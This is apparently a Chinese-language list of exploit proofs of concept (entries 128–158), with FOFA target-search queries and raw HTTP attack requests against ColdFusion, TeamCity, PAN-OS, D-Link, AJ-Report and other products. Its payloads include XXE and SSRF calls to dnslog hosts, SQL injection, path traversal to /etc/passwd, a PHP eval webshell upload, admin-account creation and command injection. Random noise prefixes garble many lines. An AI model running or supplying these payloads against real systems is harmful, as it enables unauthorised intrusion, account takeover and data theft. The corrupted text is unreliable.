Content-Disposition: form-data;name="SystemName"
% N' Y0 f+ S) N8 Z" a
BIM
2 x  B' J+ F7 ?3 d------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
" z) D, h) A3 D- N5 I
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
8 \+ j# e5 }0 P7 T% n' o$ Y<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
) O. g$ @  W  `3 A" ~<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

4 x( N% M% j& d8 m
8 [. [% ~4 q8 ?' U, L6 A$ {4 |
/ o! M/ M% f1 @, [9 O128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
6 y/ D6 ^+ q0 @$ a( s' U, WFOFA：app="Adobe-ColdFusion"
+ a! {6 [4 g/ W* ePAYLOAD

129. Adobe ColdFusion 任意文件读取
7 C! J4 K1 d3 u. S! W; [CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
8 k4 @7 z. N0 c+ c) |% x0 a; X; iGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ E; x* _/ @$ t" sAccept: */*
& g( i# r6 j- G0 S* s, zAccept-Encoding: gzip, deflate
, ?8 @" Z- D1 m. nConnection: close
$ L5 ^2 S. J( M- R5 ~1 u$ d
  C0 W6 F$ C+ D8 v6 x* c/ }7 T; H6 d* g
) m/ W. T1 w7 r, m第二步，读取/etc/passwd文件
$ |5 c" ]& E1 qGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
# ^1 H( e8 Q8 y! ]% l5 vHost: x.x.x.x
1 a5 P8 g/ t. B: h2 R; JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
* j6 V% N$ F( f, {Accept-Encoding: gzip, deflate
# y9 h) C3 X; u) bConnection: close
. j  n) ]: H! Q, a& ?uuid: 85f60018-a654-4410-a783-f81cbd5000b9
2 F# \9 |6 ]( t( q6 |
% L, _8 v4 \8 d8 m
9 `2 T6 K, y+ r1 J  I1 z) K) i: d3 _130. Laykefu客服系统任意文件上传
, O9 |/ \! [+ K; s) yFOFA：icon_hash="-334624619"
( y& o; L8 L+ c$ a( QPOST /admin/users/upavatar.html HTTP/1.1
" R* u" Q8 x0 T& n2 D- cHost: 127.0.0.1
' H& }, n0 v" E& ~$ O# Y$ d* eAccept: application/json, text/javascript, */*; q=0.01
0 z0 W7 J; [- E9 oX-Requested-With: XMLHttpRequest
  D! u/ s: Y' l( h' E( r" yUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
" e) g8 A+ d- Z- U( O" oContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
% Y9 M/ R# ~' K( XAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
) F, M5 R' c3 y# o$ D$ r+ qContent-Type: image/png
$ D0 l2 }/ D, F) l8 z
$ e7 O% X0 f# Y+ O+ L- b/ d* b<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

3 ~0 Z; T5 V* O# S. b
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
7 l+ ~" J9 y- R" Y1 r$ @. u后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
. ?4 D8 K9 t# j( @$ F
7 n" y9 s0 K2 j$ S) z2 c# t8 X132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
  Q: |# N/ |4 ]CVE-2024-27198
+ i8 b" }8 p8 H4 n. h$ P  J! RFOFA：body="Log in to TeamCity"
8 D& j: ^0 U& C8 mPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
) U: u" U, b5 ?* I* o! I  H+ fHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& c6 r" b* F* L, I1 T1 K6 Q% x; LAccept: */*
Content-Type: application/json
' b* N8 ~" J& F: m0 c; l7 HAccept-Encoding: gzip, deflate
: ?; D  F$ u: R/ G. U7 C; d
3 `8 Z$ I9 J' S. M{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
" n& Z2 o& }$ ~3 |% j; C

CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

% a7 o2 @& n' K
  y& n. d/ @9 ]+ \CVE-2024-27198-RCE.py

2 y1 Z5 M/ z0 }" C8 r3 r3 a133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
( S1 U( E! m- QPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
9 ~4 z/ d0 E1 B6 h& h) R3 G2 lContent-Type: application/octet-stream
- P8 {9 }7 W$ f0 b' T3 {
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
$ v2 X8 ~$ d! }6 D/ {/ ~FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
4 I% Z- H4 C! e8 eHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
; R0 a% R) u0 S, n7 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& y# S/ ^9 J" W/ u9 X, ?( xAccept-Encoding: gzip, deflate
8 t* P$ \" M' w; W6 uSec-Fetch-Dest: empty
4 v5 w* u9 G8 J7 i. a+ uSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
& ]8 @9 c0 ]* \% ?Content-Type: application/x-www-form-urlencoded
Content-Length: 263

* s4 [, g  b& Z0 Ijsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


3 v8 N2 B9 G) y$ a8 e135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
; A& `2 T0 A" V1 v& M, mCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
1 \/ F$ b/ p" jFOFA：app="网康科技-NS-ASG安全网关"
( ?  e2 c2 r) vGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
! p" @  u: i2 Z, |6 Q. gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. I' n- \4 A) J3 u# JAccept-Encoding: gzip, deflate
+ a  I) x" S7 Q% M2 t  YAccept-Language: zh-CN,zh;q=0.9
' f) l. f; g4 f3 |, U* y0 G$ m. S- IConnection: close
0 I+ q" p& W: V6 U
: m; H! Z4 @$ S; W/ q2 Z
3 h' m4 X. [1 ?. A136. NextChat cors SSRF
# }' E8 D8 ]% f  P& s9 yCVE-2023-49785
; m: I' Z3 R4 e$ I0 X6 C' iFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
8 L6 l' e( R4 RAccept: */*
/ Y' ]8 u' F: {* y! u& AAccept-Language: en
9 Y7 y& U4 u/ `) G7 u/ |Accept-Encoding: gzip
) K% b7 t6 I& ^/ i/ N5 n; q" l' K/ L

; E2 ^1 M; `; R" [' q* K$ w" p137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
( i1 Y8 \* T. P0 }GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
0 }9 L2 W- W/ sHost: x.x.x.x
  d; F* q0 q' e. |/ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! e# ?  S  c% ?8 F1 o9 BAccept-Encoding: gzip, deflate, br
Connection: close
4 O% Y8 N; E, p/ g) qCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
4 h+ {5 c) ]$ n1 I2 AUpgrade-Insecure-Requests: 1

- A! [: e5 U2 S3 q: R4 ]$ V9 U6 v
9 _7 x4 y, K# J0 q138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
8 D, i  I  N' P" Z* P9 JFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 y. D& P' a8 x/ [. H, PGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
5 `( U2 S8 I* S  I# y$ |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 N+ y  [2 P3 S% c! aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! n' |8 O$ N, [$ K. g- i. gAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


# u9 u$ D8 L: C8 V- u" |4 _139. 福建科立讯通信指挥调度平台editemedia.php sql注入
: M$ Z; k& x% t1 uCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
! I4 F: r% M* U- OGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
& ^: G, `% J' ~% f; s% A/ ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( r# U" F: f& ]8 h1 h  CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
, ^% _0 O! k! T3 ~8 X3 UConnection: close
: _& L- |2 o. `5 sCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
" l- _& _) c8 ?$ o( e

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% b. `, H$ k7 {! r% UGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
) f5 P1 v1 l" NHost: x.x.x.x
7 }( f3 z9 N9 v, C# q* M9 ]8 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 ?6 ~( {9 G, Q! uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
$ J: f6 k+ o7 p5 Q8 iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
1 ^6 E( M/ j% I

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
7 M) y; y  F3 k

142. CMSV6车辆监控平台系统中存在弱密码
2 Y+ v: g; u- j; [CVE-2024-29666
2 y; |! @. f! {FOFA：body="/808gps/"
" z$ T$ @; t& G9 c0 B$ x2 t+ Dadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
# W7 ]0 u7 y/ I1 YCVE-2024-25850
3 {/ {# l% H7 d4 yFOFA：title='AP setup' && header='netis'
PAYLOAD

, H/ K# [; M7 {1 I! T, E144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
) v6 I0 i+ X( }" Asystem参数用于传要执行的命令
8 ?" E4 C4 c: g8 pGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
( W: N7 X/ o; f3 g: O1 D( HAccept: */*
Accept-Language: en
  n: P- [* W5 w5 n6 s5 U9 `" LAccept-Encoding: gzip

0 }0 p3 k. Y$ P) y0 M
  K# G9 t+ ]9 a/ J145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
- l2 S8 f3 w) [* PGET /global-protect/login.esp HTTP/1.1
  {. Q. q; T3 g, o( z3 \Host: 192.168.30.112:1005
  Z+ V2 s" D1 r+ `/ j/ K! B( j7 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
+ [4 R$ X& h" p0 kConnection: close
9 ?6 \9 a( ~6 w- v' XCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
7 `7 X3 `- v. g1 s2 S+ K# v& mAccept-Encoding: gzip

8 Y4 v) y8 `& R7 a+ f8 f* M8 v
146. MajorDoMo thumb.php 未授权远程代码执行
- o. j4 x7 H$ j" oCNVD-2024-02175
4 \/ B% o( z4 t) Y" C' r4 t& s* OFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
  b9 m  H! Y4 T. }& C7 W3 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
1 y$ w; U' v3 G7 w7 X5 ~' |
: l$ M8 J9 e6 I( E4 E; x
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
* H# y+ m5 v# [2 a8 ~" HCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
4 C! Q. P  Y* e  K7 iHost: 127.0.0.1:81
Cache-Control: max-age=0
/ |* H# L' I' a# H+ _" I& E/ XConnection: close
$ M, ^$ j% }4 y# k
" C/ ]! E: m$ U, ]0 S9 a2 V
6 I% H- ~" C1 u) W; R  k) n, @7 A148. CrushFTP 认证绕过模板注入
/ G; D: J% d- V- `0 b& KCVE-2024-4040
# Q- v/ v- o& @) I: X( r7 iFOFA：body="CrushFTP"
2 B/ y# }9 D, p$ F8 p$ ?2 w& bPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

$ [1 y; g7 s  c, \( ]  S$ p- C, rPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
+ @! M$ q; ], ~' ZHost: x.x.x.x
. e0 I' o/ V, T0 p  ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ e1 [, T& ^' j" v  HAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
! h8 r2 N5 f% A3 U1 M7 JConnection: close

/ A6 t# Z. F" a& E/ k( s{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

. v! s! J3 {2 m* ~# J( o150. AJ-Report 1.4.0 认证绕过与远程代码执行
0 I9 Y, W; f! c$ ^FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
: E% H$ G# C# AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( G  D$ J$ I3 _) s) VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
' Z2 m' Y  k7 Y0 b4 K7 A7 Z- gAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
, d! ^, k) R9 Q; x1 O! \Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 q* J: j0 S+ W  g' a
; Y) p: ]1 M: q0 h! z) ^
  }2 e3 y8 \+ l) i' N0 o% k151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
. M( e( L6 O! V  N
9 T1 L, y8 q( E+ e4 b0 p
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
! D% N2 k. e8 W: @LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
( K- ]" f) }4 @" V6 }; _Connection: close
4 j( J& `* O0 i, dAccept: */*
( Q- r/ @2 t" B" b2 ^( J' mAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
  K! s3 W" m: {5 z
' K$ k5 A- w8 _7 }1 E" o
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

. D$ K1 D4 e1 S5 m
第二步，将/etc/passwd的内容写入到一个临时文件
4 w$ d' p' H6 i: K3 bPOST /component_server HTTP/1.1
  x0 O* h/ I1 d' fHost: x.x.x.x
' \2 x( `5 A, N7 }- T1 ?  xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
! }% K4 b. u  d$ P" o3 L" N5 BContent-Length: 115
# H* N; T- t" ]3 y( ]Content-Type: application/json
3 m2 c& a" T* ~Accept-Encoding: gzip
" x) ~" z- ^1 d6 m3 m$ ?) V" V
( s/ S+ n; e. Q/ I6 z{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


) `2 A5 _" L! ]7 i* w( L154. 天维尔消防救援作战调度平台 SQL注入
9 r/ |9 H1 M/ O: w' I7 ?+ J" [1 j- U5 oCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
/ K8 z$ n2 ^2 l& l: }; xHost: x.x.x.x
" m5 k+ X4 g: p3 X2 k3 a! zContent-Length: 106
2 S' R5 x% j4 G5 P' b/ `Cache-Control: max-age=0
. M9 A5 b- ]$ `8 ^" G0 pUpgrade-Insecure-Requests: 1
& L+ D. `- {* }) v: \* S  H; \Origin: http://x.x.x.x
1 Z+ w# }5 g6 w1 C& x# P4 E7 BContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( K' T. I% f7 j* f' T! u7 }Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
  n5 L  o" `! q+ z( }9 c$ I8 EAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
; ^) [% j2 k9 @% b: hConnection: close
2 O+ D- O& ?3 N2 N, [
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
, X* |( I7 B$ X( `  z$ d# t
- j9 l* B  v) N) H
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
) ^. P6 ?% u) p! zPOST /include/file.php HTTP/1.1
Host: x.x.x.x
( J* ^5 e: f, o% h3 P" yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
$ F) X. }5 B9 mAccept: application/json, text/javascript, */*; q=0.01
% n( H$ F3 E' S& k; D5 VAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
3 k% f9 s2 C2 R# E. FX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
' {! x  X: s( u, F7 bContent-Disposition: form-data; name="file"; filename="test.php"
; [0 N3 x7 i# i$ m0 jContent-Type: image/png

2 q: j/ B3 P% l' h<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

, b" ^4 y6 W0 N8 z8 T' }! D! Q6 w% L4 w
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

0 Z, r8 E- m$ F, ^156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
1 ]1 O! _. s/ h* T* vFOFA："Location: /login.rsp"
: ~2 z+ L0 ?) W6 h$ g& @·TBK DVR-4104
# \! I$ m1 P2 `8 ?( q) @( Y·TBK DVR-4216
1 M- @' H2 Y8 u3 P7 Hcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

: g; O1 m9 |' M0 T- B
1 C* q3 w: a- |0 W7 m/ E* wPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
' }' W% j( z& p6 d  ~* }1 ^) FHost: x.x.x.x
! I. q/ Z: }; P8 N; U, AUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- n9 I# _* g7 Q% f8 s/ ~8 R+ E. ~Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip

+ Z& n- X2 i/ m
- F8 T2 u, i  r1 v& U- ?' G2 q& |157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
2 n! K& X: }4 F: R0 ?7 BFOFA：body="/common/scripts/basic.js"
  d! X  U, [9 PPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
# R$ Y9 G8 F/ ]2 ]Host: x.x.x.x
5 T3 S$ h+ j1 F1 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
) b4 H( i/ F; W& b: t  U8 [- D, c, \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 _/ M* `. w' m+ f1 h8 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! [+ v4 G" T5 z% qCache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

& F3 Q( t; b% w8 {- j/ b$ X------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
7 _+ V( H& E. B! T" ?4 z
nyhelxrutzwhrsvsrafb
+ }& T6 i) v# I------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
$ r/ d6 b2 G* Y+ k1 J------WebKitFormBoundary1imovELzPsfzp5dN
  {8 r' H  c" sContent-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
2 I2 @2 G, ^- mContent-Disposition: form-data; name="field"
! e0 j1 s3 N: w, f- n; \
null
& e- u5 H! n' n: r9 H- D( _------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
* i* ]( F; f, ^9 o
null
8 X, l* k; }. g& d------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
  D1 C3 N; N; i" I! z9 l$ A& C+ o% k; ^
null
  M+ ^1 ]& z5 V% X------WebKitFormBoundary1imovELzPsfzp5dN--

9 R% v% _; K$ D, i  }5 v8 u
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
" Q( z2 v7 c5 p+ j5 eCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
% K1 ?* z" |; y; y: DHost: {{Hostname}}
